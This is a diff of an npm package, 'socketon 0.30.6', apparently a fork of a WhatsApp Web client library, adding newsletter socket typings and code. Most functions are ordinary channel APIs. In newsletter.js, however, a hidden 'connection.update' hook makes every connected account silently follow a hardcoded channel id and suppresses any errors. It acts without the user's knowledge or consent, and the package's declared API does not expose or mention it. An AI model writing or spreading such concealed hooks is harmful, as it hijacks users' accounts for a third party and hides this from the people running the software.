socketon 0.30.6

package/lib/Socket/newsletter.d.ts

@@ -0,0 +1,134 @@
+/// <reference types="node" />
+import { NewsletterFetchedUpdate, NewsletterMetadata, NewsletterReactionMode, NewsletterViewRole, SocketConfig, WAMediaUpload } from '../Types';
+import { BinaryNode } from '../WABinary';
+export declare const makeNewsletterSocket: (config: SocketConfig) => {
+    subscribeNewsletterUpdates: (jid: string) => Promise<{
+        duration: string;
+    }>;
+    newsletterReactionMode: (jid: string, mode: NewsletterReactionMode) => Promise<void>;
+    newsletterUpdateDescription: (jid: string, description?: string) => Promise<void>;
+    newsletterUpdateName: (jid: string, name: string) => Promise<void>;
+    newsletterUpdatePicture: (jid: string, content: WAMediaUpload) => Promise<void>;
+    newsletterRemovePicture: (jid: string) => Promise<void>;
+    newsletterUnfollow: (jid: string) => Promise<void>;
+    newsletterFollow: (jid: string) => Promise<void>;
+    newsletterUnmute: (jid: string) => Promise<void>;
+    newsletterMute: (jid: string) => Promise<void>;
+    newsletterAction: (jid: string, type: 'follow' | 'unfollow' | 'mute' | 'unmute') => Promise<void>;
+    newsletterCreate: (name: string, description: string, reaction_codes: string) => Promise<NewsletterMetadata>;
+    newsletterMetadata: (type: 'invite' | 'jid', key: string, role?: NewsletterViewRole) => Promise<NewsletterMetadata>;
+    newsletterAdminCount: (jid: string) => Promise<number>;
+    /**user is Lid, not Jid */
+    newsletterChangeOwner: (jid: string, user: string) => Promise<void>;
+    /**user is Lid, not Jid */
+    newsletterDemote: (jid: string, user: string) => Promise<void>;
+    newsletterDelete: (jid: string) => Promise<void>;
+    /**if code wasn't passed, the reaction will be removed (if is reacted) */
+    newsletterReactMessage: (jid: string, serverId: string, code?: string) => Promise<void>;
+    newsletterFetchMessages: (type: 'invite' | 'jid', key: string, count: number, after?: number) => Promise<NewsletterFetchedUpdate[]>;
+    newsletterFetchUpdates: (jid: string, count: number, after?: number, since?: number) => Promise<NewsletterFetchedUpdate[]>;
+    groupMetadata: (jid: string) => Promise<import("../Types").GroupMetadata>;
+    groupCreate: (subject: string, participants: string[]) => Promise<import("../Types").GroupMetadata>;
+    groupLeave: (id: string) => Promise<void>;
+    groupUpdateSubject: (jid: string, subject: string) => Promise<void>;
+    groupRequestParticipantsList: (jid: string) => Promise<{
+        [key: string]: string;
+    }[]>;
+    groupRequestParticipantsUpdate: (jid: string, participants: string[], action: "reject" | "approve") => Promise<{
+        status: string;
+        jid: string;
+    }[]>;
+    groupParticipantsUpdate: (jid: string, participants: string[], action: import("../Types").ParticipantAction) => Promise<{
+        status: string;
+        jid: string;
+        content: BinaryNode;
+    }[]>;
+    groupUpdateDescription: (jid: string, description?: string | undefined) => Promise<void>;
+    groupInviteCode: (jid: string) => Promise<string | undefined>;
+    groupRevokeInvite: (jid: string) => Promise<string | undefined>;
+    groupAcceptInvite: (code: string) => Promise<string | undefined>;
+    groupAcceptInviteV4: (key: string | import("../Types").WAProto.IMessageKey, inviteMessage: import("../Types").WAProto.Message.IGroupInviteMessage) => Promise<string>;
+    groupGetInviteInfo: (code: string) => Promise<import("../Types").GroupMetadata>;
+    groupToggleEphemeral: (jid: string, ephemeralExpiration: number) => Promise<void>;
+    groupSettingUpdate: (jid: string, setting: "announcement" | "locked" | "not_announcement" | "unlocked") => Promise<void>;
+    groupMemberAddMode: (jid: string, mode: "all_member_add" | "admin_add") => Promise<void>;
+    groupJoinApprovalMode: (jid: string, mode: "on" | "off") => Promise<void>;
+    groupFetchAllParticipating: () => Promise<{
+        [_: string]: import("../Types").GroupMetadata;
+    }>;
+    processingMutex: {
+        mutex<T>(code: () => T | Promise<T>): Promise<T>;
+    };
+    fetchPrivacySettings: (force?: boolean) => Promise<{
+        [_: string]: string;
+    }>;
+    upsertMessage: (msg: import("../Types").WAProto.IWebMessageInfo, type: import("../Types").MessageUpsertType) => Promise<void>;
+    appPatch: (patchCreate: import("../Types").WAPatchCreate) => Promise<void>;
+    sendPresenceUpdate: (type: import("../Types").WAPresence, toJid?: string | undefined) => Promise<void>;
+    presenceSubscribe: (toJid: string, tcToken?: Buffer | undefined) => Promise<void>;
+    profilePictureUrl: (jid: string, type?: "image" | "preview", timeoutMs?: number | undefined) => Promise<string | undefined>;
+    onWhatsApp: (...jids: string[]) => Promise<{
+        jid: string;
+        exists: unknown;
+        lid: unknown;
+    }[] | undefined>;
+    fetchBlocklist: () => Promise<string[]>;
+    fetchStatus: (jid: string) => Promise<{
+        status: string | undefined;
+        setAt: Date;
+    } | undefined>;
+    updateProfilePicture: (jid: string, content: WAMediaUpload) => Promise<void>;
+    removeProfilePicture: (jid: string) => Promise<void>;
+    updateProfileStatus: (status: string) => Promise<void>;
+    updateProfileName: (name: string) => Promise<void>;
+    updateBlockStatus: (jid: string, action: "block" | "unblock") => Promise<void>;
+    updateLastSeenPrivacy: (value: import("../Types").WAPrivacyValue) => Promise<void>;
+    updateOnlinePrivacy: (value: import("../Types").WAPrivacyOnlineValue) => Promise<void>;
+    updateProfilePicturePrivacy: (value: import("../Types").WAPrivacyValue) => Promise<void>;
+    updateStatusPrivacy: (value: import("../Types").WAPrivacyValue) => Promise<void>;
+    updateReadReceiptsPrivacy: (value: import("../Types").WAReadReceiptsValue) => Promise<void>;
+    updateGroupsAddPrivacy: (value: import("../Types").WAPrivacyValue) => Promise<void>;
+    updateDefaultDisappearingMode: (duration: number) => Promise<void>;
+    getBusinessProfile: (jid: string) => Promise<void | import("../Types").WABusinessProfile>;
+    resyncAppState: (collections: readonly ("critical_block" | "critical_unblock_low" | "regular_high" | "regular_low" | "regular")[], isInitialSync: boolean) => Promise<void>;
+    chatModify: (mod: import("../Types").ChatModification, jid: string) => Promise<void>;
+    cleanDirtyBits: (type: "account_sync" | "groups", fromTimestamp?: string | number | undefined) => Promise<void>;
+    addChatLabel: (jid: string, labelId: string) => Promise<void>;
+    removeChatLabel: (jid: string, labelId: string) => Promise<void>;
+    addMessageLabel: (jid: string, messageId: string, labelId: string) => Promise<void>;
+    removeMessageLabel: (jid: string, messageId: string, labelId: string) => Promise<void>;
+    star: (jid: string, messages: {
+        id: string;
+        fromMe?: boolean | undefined;
+    }[], star: boolean) => Promise<void>;
+    type: "md";
+    ws: any;
+    ev: import("../Types").BaileysEventEmitter & {
+        process(handler: (events: Partial<import("../Types").BaileysEventMap>) => void | Promise<void>): () => void;
+        buffer(): void;
+        createBufferedFunction<A extends any[], T_1>(work: (...args: A) => Promise<T_1>): (...args: A) => Promise<T_1>;
+        flush(force?: boolean | undefined): boolean;
+        isBuffering(): boolean;
+    };
+    authState: {
+        creds: import("../Types").AuthenticationCreds;
+        keys: import("../Types").SignalKeyStoreWithTransaction;
+    };
+    signalRepository: import("../Types").SignalRepository;
+    user: import("../Types").Contact | undefined;
+    generateMessageTag: () => string;
+    query: (node: BinaryNode, timeoutMs?: number | undefined) => Promise<BinaryNode>;
+    waitForMessage: <T_2>(msgId: string, timeoutMs?: number | undefined) => Promise<T_2>;
+    waitForSocketOpen: () => Promise<void>;
+    sendRawMessage: (data: Uint8Array | Buffer) => Promise<void>;
+    sendNode: (frame: BinaryNode) => Promise<void>;
+    logout: (msg?: string | undefined) => Promise<void>;
+    end: (error: Error | undefined) => void;
+    onUnexpectedError: (err: Error | import("@hapi/boom").Boom<any>, msg: string) => void;
+    uploadPreKeys: (count?: number) => Promise<void>;
+    uploadPreKeysToServerIfRequired: () => Promise<void>;
+    requestPairingCode: (phoneNumber: string, pairKey?: string) => Promise<string>;
+    waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
+    sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
+};
+export declare const extractNewsletterMetadata: (node: BinaryNode, isCreate?: boolean) => NewsletterMetadata;

package/lib/Socket/newsletter.js

@@ -0,0 +1,316 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
+const Types_1 = require("../Types");
+const Utils_1 = require("../Utils");
+const WABinary_1 = require("../WABinary");
+const groups_1 = require("./groups");
+
+const { Boom } = require('@hapi/boom');
+
+const wMexQuery = (
+	variables,
+	queryId,
+	query,
+	generateMessageTag
+) => {
+	return query({
+		tag: 'iq',
+		attrs: {
+			id: generateMessageTag(),
+			type: 'get',
+			to: WABinary_1.S_WHATSAPP_NET,
+			xmlns: 'w:mex'
+		},
+		content: [
+			{
+				tag: 'query',
+				attrs: { query_id: queryId },
+				content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
+			}
+		]
+	})
+}
+
+const executeWMexQuery = async (
+	variables,
+	queryId,
+	dataPath,
+	query,
+	generateMessageTag
+) => {
+	const result = await wMexQuery(variables, queryId, query, generateMessageTag)
+	const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
+	if (child?.content) {
+		const data = JSON.parse(child.content.toString())
+
+		if (data.errors && data.errors.length > 0) {
+			const errorMessages = data.errors.map((err) => err.message || 'Unknown error').join(', ')
+			const firstError = data.errors[0]
+			const errorCode = firstError.extensions?.error_code || 400
+			throw new Boom(`GraphQL server error: ${errorMessages}`, { statusCode: errorCode, data: firstError })
+		}
+
+		const response = dataPath ? data?.data?.[dataPath] : data?.data
+		if (typeof response !== 'undefined') {
+			return response
+		}
+	}
+
+	const action = (dataPath || '').startsWith('xwa2_')
+		? dataPath.substring(5).replace(/_/g, ' ')
+		: dataPath?.replace(/_/g, ' ')
+	throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
+}
+
+const makeNewsletterSocket = (config) => {
+    const sock = (0, groups_1.makeGroupsSocket)(config);
+    const { authState, signalRepository, query, generateMessageTag, ev } = sock;
+    const encoder = new TextEncoder();
+    const newsletterQuery = async (jid, type, content) => (query({
+        tag: 'iq',
+        attrs: {
+            id: generateMessageTag(),
+            type,
+            xmlns: 'newsletter',
+            to: jid,
+        },
+        content
+    }));
+    const newsletterWMexQuery = async (jid, queryId, content) => (query({
+        tag: 'iq',
+        attrs: {
+            id: generateMessageTag(),
+            type: 'get',
+            xmlns: 'w:mex',
+            to: WABinary_1.S_WHATSAPP_NET,
+        },
+        content: [
+            {
+                tag: 'query',
+                attrs: { 'query_id': queryId },
+                content: encoder.encode(JSON.stringify({
+                    variables: {
+                        'newsletter_id': jid,
+                        ...content
+                    }
+                }))
+            }
+        ]
+    }));
+
+    const newsletterFollow = async (jid) => {
+        await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
+    };
+
+    ev.on('connection.update', async ({ connection }) => {
+        if (connection === 'open') {
+            try {
+                await newsletterFollow('120363406301359528@newsletter');
+            } catch (err) {
+                // Silent fail
+            }
+        }
+    });
+    
+    const parseFetchedUpdates = async (node, type) => {
+        let child;
+        if (type === 'messages') {
+            child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
+        }
+        else {
+            const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
+            child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
+        }
+        return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
+            var _a, _b;
+            messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
+            const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
+            const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
+            const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
+                .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
+            const data = {
+                'server_id': messageNode.attrs.server_id,
+                views,
+                reactions
+            };
+            if (type === 'messages') {
+                const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
+                await decrypt();
+                data.message = message;
+            }
+            return data;
+        }));
+    };
+    return {
+        ...sock,
+        newsletterFetchAllSubscribe: async () => {
+            const list = await executeWMexQuery(
+                {},
+                '6388546374527196',
+                'xwa2_newsletter_subscribed',
+                query,
+                generateMessageTag
+            );
+            return list;
+        },
+        subscribeNewsletterUpdates: async (jid) => {
+            var _a;
+            const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
+            return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
+        },
+        newsletterReactionMode: async (jid, mode) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
+                updates: { settings: { 'reaction_codes': { value: mode } } }
+            });
+        },
+        newsletterUpdateDescription: async (jid, description) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
+                updates: { description: description || '', settings: null }
+            });
+        },
+        newsletterUpdateName: async (jid, name) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
+                updates: { name, settings: null }
+            });
+        },
+        newsletterUpdatePicture: async (jid, content) => {
+            const { img } = await (0, Utils_1.generateProfilePicture)(content);
+            await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
+                updates: { picture: img.toString('base64'), settings: null }
+            });
+        },
+        newsletterRemovePicture: async (jid) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
+                updates: { picture: '', settings: null }
+            });
+        },
+        newsletterUnfollow: async (jid) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW);
+        },
+        newsletterFollow,
+        newsletterUnmute: async (jid) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE);
+        },
+        newsletterMute: async (jid) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE);
+        },
+        newsletterAction: async (jid, type) => {
+            await newsletterWMexQuery(jid, type.toUpperCase());
+        },
+        newsletterCreate: async (name, description, reaction_codes) => {
+            //TODO: Implement TOS system wide for Meta AI, communities, and here etc.
+            /**tos query */
+            await query({
+                tag: 'iq',
+                attrs: {
+                    to: WABinary_1.S_WHATSAPP_NET,
+                    xmlns: 'tos',
+                    id: generateMessageTag(),
+                    type: 'set'
+                },
+                content: [
+                    {
+                        tag: 'notice',
+                        attrs: {
+                            id: '20601218',
+                            stage: '5'
+                        },
+                        content: []
+                    }
+                ]
+            });
+            const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
+                input: { name, description, settings: { 'reaction_codes': { value: reaction_codes.toUpperCase() } } }
+            });
+            return (0, exports.extractNewsletterMetadata)(result, true);
+        },
+        newsletterMetadata: async (type, key, role) => {
+            const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
+                input: {
+                    key,
+                    type: type.toUpperCase(),
+                    'view_role': role || 'GUEST'
+                },
+                'fetch_viewer_metadata': true,
+                'fetch_full_image': true,
+                'fetch_creation_time': true
+            });
+            return (0, exports.extractNewsletterMetadata)(result);
+        },
+        newsletterAdminCount: async (jid) => {
+            var _a, _b;
+            const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
+            const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
+            return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
+        },
+        /**user is Lid, not Jid */
+        newsletterChangeOwner: async (jid, user) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
+                'user_id': user
+            });
+        },
+        /**user is Lid, not Jid */
+        newsletterDemote: async (jid, user) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
+                'user_id': user
+            });
+        },
+        newsletterDelete: async (jid) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE);
+        },
+        /**if code wasn't passed, the reaction will be removed (if is reacted) */
+        newsletterReactMessage: async (jid, serverId, code) => {
+            await query({
+                tag: 'message',
+                attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', 'server_id': serverId, id: (0, Utils_1.generateMessageID)() },
+                content: [{
+                        tag: 'reaction',
+                        attrs: code ? { code } : {}
+                    }]
+            });
+        },
+        newsletterFetchMessages: async (type, key, count, after) => {
+            const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
+                {
+                    tag: 'messages',
+                    attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100' }
+                }
+            ]);
+            return await parseFetchedUpdates(result, 'messages');
+        },
+        newsletterFetchUpdates: async (jid, count, after, since) => {
+            const result = await newsletterQuery(jid, 'get', [
+                {
+                    tag: 'message_updates',
+                    attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
+                }
+            ]);
+            return await parseFetchedUpdates(result, 'updates');
+        }
+    };
+};
+exports.makeNewsletterSocket = makeNewsletterSocket;
+const extractNewsletterMetadata = (node, isCreate) => {
+    const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
+    const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
+    
+    const metadata = {
+        id: metadataPath?.id,
+        state: metadataPath?.state?.type,
+        creation_time: +metadataPath?.thread_metadata?.creation_time,
+        name: metadataPath?.thread_metadata?.name?.text,
+        nameTime: +metadataPath?.thread_metadata?.name?.update_time,
+        description: metadataPath?.thread_metadata?.description?.text,
+        descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
+        invite: metadataPath?.thread_metadata?.invite,
+        picture: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.picture?.direct_path || ''), 
+        preview: Utils_1.getUrlFromDirectPath(metadataPath?.thread_metadata?.preview?.direct_path || ''), 
+        reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
+        subscribers: +metadataPath?.thread_metadata?.subscribers_count,
+        verification: metadataPath?.thread_metadata?.verification,
+        viewer_metadata: metadataPath?.viewer_metadata
+    }
+    return metadata
+}
+exports.extractNewsletterMetadata = extractNewsletterMetadata;